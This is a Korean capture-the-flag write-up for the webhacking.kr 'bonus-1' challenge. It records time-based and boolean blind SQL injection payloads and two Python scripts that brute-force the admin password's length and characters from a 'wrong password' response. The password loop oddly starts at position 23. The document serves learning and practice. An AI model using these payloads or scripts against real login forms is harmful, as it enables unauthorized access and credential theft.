Write-Up
처음 접근했던 방법 ( Fail )
?id=1'+or+1%3d1+and+sleep(2)%23&pw=1
?id=1'+or+1%3d1+AND+if(1%3d1,sleep(3),false)%23
위 payload를 통해, Time Based SQL Injection의 가능성을 보았다.
?id=1'+or+1%3d1+and+length(database())%3d10+and+sleep(5)%23&pw=1
위 payload로 db의 길이를 구할 수 있었다.
?id=1'+or+1%3d1+and+substring(database(),1,1)%3d'w'+and+sleep(5)%23&pw=1
?id=1'+or+1%3d1+AND+if(ASCII(SUBSTRING(database(),2,1))%3d101,+sleep(3),+false)%23
위 payload를 통해 db 명을 구할 수 있었다. DB 명: webhacking
1'+or+1%3d1+AND+if((SELECT+count(table_name)+FROM+information_schema.tables+WHERE+table_schema%3ddatabase())%3d2,sleep(2),false)%23
하지만 위 payload에서, select가 필터링 됨을 확인했다. select 우회 시도를 위해 reverse()등을 시도했으나, 실패하였다.
두번째 접근 방법
로그인 시, 볼 수 있는 페이지의 반응은 크게 3가지 였다. login success, login fail, wrong password
< login success >
?id=1%27or%201=1%23&pw=guest
?id=1%27or%20id%20like%20%27guest%27%23&pw=guest
< login fail >
?id=guest&pw=1234
< wrong password >
?id=5%27%20or%201=1%23&pw=12365465
?id=admin%27%20or%201=1%23&pw=12365465
?id=guest%27+or+1%3D1%23&pw=1
wrong password는 , id는 조건 상 참이지만 비밀번호가 맞지 않을 때, 페이지에 출력되는 것으로 보인다. 아래와 같은 코드로 pw 길이를 구해보도록 한다.
pw 길이
import requests
url='https://webhacking.kr/challenge/bonus-1/index.php'
params={'pw': '1234'}
pw_len=1
while True:
params['id']="admin' and length(pw)={} #".format(pw_len)
response=requests.get(url, params=params)
if "wrong password" in response.text:
break
pw_len+=1
print("pw_length: "+str(pw_len))
pw 길이는 36 이다.
?id=admin%27%20and%20length(pw)=36%23&pw=1
위와 같은 payload 입력 시, wrong password가 출력된다. pw만 구하면 된다. 아래와 같은 코드로 pw를 구하도록 한다! pw가 될 수 있는 가능성이 있는 문자 범위는 아스키 코드 상으로 range(33?,32? ~ 127)로 볼 수 있으므로 아래와 같이 코드를 작성하도록 한다.
import requests
url='https://webhacking.kr/challenge/bonus-1/index.php'
params={'pw': '1234'}
pw_len=1
while True:
params['id']="admin' and length(pw)={} #".format(pw_len)
response=requests.get(url, params=params)
if "wrong password" in response.text:
break
pw_len+=1
print("pw_length: "+str(pw_len))
pw=""
for a in range(23, pw_len+1):
for b in range(32, 127):
params['id']="admin' and ascii(substr(pw, {}, 1))={} #".format(a, b)
response=requests.get(url, params=params)
if "wrong password" in response.text:
print(chr(b))
pw+=chr(b)
break
print("pw: "+pw)
참고
https://www.bugbountyclub.com/pentestgym/view/55